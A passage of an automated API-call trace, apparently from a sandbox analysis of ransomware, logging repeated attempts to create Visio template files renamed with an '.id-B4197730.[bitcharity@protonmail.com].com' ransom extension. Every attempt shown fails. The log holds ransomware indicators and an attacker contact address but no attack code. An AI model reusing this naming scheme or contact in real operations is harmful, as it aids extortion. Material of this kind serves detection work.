Office\\root\\Office16\\Visio Content\\1033\\EETCOM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eetcom_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.830] CloseHandle (hObject=0x1168) returned 1 [0274.831] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.831] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EETERM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeterm_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.831] CloseHandle (hObject=0x1168) returned 1 [0274.832] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.832] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EETERM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeterm_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.832] CloseHandle (hObject=0x1168) returned 1 [0274.833] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.833] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EETRAN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eetran_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.833] CloseHandle (hObject=0x1168) returned 1 [0274.834] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.834] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EETRAN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eetran_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.834] CloseHandle (hObject=0x1168) returned 1 [0274.835] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.835] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEVHF_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eevhf_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.835] CloseHandle (hObject=0x1168) returned 1 [0274.836] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.836] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEVHF_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eevhf_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.836] CloseHandle (hObject=0x1168) returned 1 [0274.837] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.837] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ELETEL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eletel_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.838] CloseHandle (hObject=0x1168) returned 1 [0274.838] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.838] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ELETEL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eletel_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.839] CloseHandle (hObject=0x1168) returned 1 [0274.839] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.839] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ELETEL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eletel_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.840] CloseHandle (hObject=0x1168) returned 1 [0275.771] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.771] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\IRRIG_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\irrig_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.772] CloseHandle (hObject=0x1270) returned 1 [0275.773] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.773] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MEALL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\meall_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.773] CloseHandle (hObject=0x1270) returned 1 [0275.774] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.774] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MEALL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\meall_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.774] CloseHandle (hObject=0x1270) returned 1 [0275.774] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.774] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MEDIUMENTERPRISECORPNET_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\mediumenterprisecorpnet_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.775] CloseHandle (hObject=0x1270) returned 1 [0275.775] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.775] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MEDIUMENTERPRISECORPNET_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\mediumenterprisecorpnet_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.776] CloseHandle (hObject=0x1270) returned 1 [0275.776] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.776] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MEMOBJ_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\memobj_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.776] CloseHandle (hObject=0x1270) returned 1 [0275.777] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.777] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MEMOBJ_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\memobj_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.777] CloseHandle (hObject=0x1270) returned 1 [0275.778] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.778] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\METRO_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\metro_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.778] CloseHandle (hObject=0x1270) returned 1 [0275.779] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.779] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\METRO_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\metro_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.779] CloseHandle (hObject=0x1270) returned 1 [0275.780] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.780] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MRKTDG_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\mrktdg_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.781] CloseHandle (hObject=0x1270) returned 1 [0275.781] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.781] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MRKTDG_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\mrktdg_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.781] CloseHandle (hObject=0x1270) returned 1 [0275.782] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.782] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MRKTDG_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\mrktdg_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.783] CloseHandle (hObject=0x1270) returned 1 [0275.783] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.783] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MRKTDG_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\mrktdg_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.784] CloseHandle (hObject=0x1270) returned 1 [0275.784] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.784] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETLME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netlme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.784] CloseHandle (hObject=0x1270) returned 1 [0275.785] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.785] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETLME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netlme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.785] CloseHandle (hObject=0x1270) returned 1 [0275.786] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.786] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETLOC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netloc_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.787] CloseHandle (hObject=0x1270) returned 1 [0275.787] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.787] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETLOC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netloc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.788] CloseHandle (hObject=0x1270) returned 1 [0275.788] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.788] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETRM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netrm_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.788] CloseHandle (hObject=0x1270) returned 1 [0275.789] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.789] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETRM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netrm_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.789] CloseHandle (hObject=0x1270) returned 1 [0275.790] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.790] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETSME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netsme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.791] CloseHandle (hObject=0x1270) returned 1 [0275.791] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.791] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETSME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netsme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.792] CloseHandle (hObject=0x1270) returned 1 [0275.792] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.792] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\NETSYM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\netsym_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.792] CloseHandle (hObject=0x1270) returned 1 [0275.793] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.793] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | 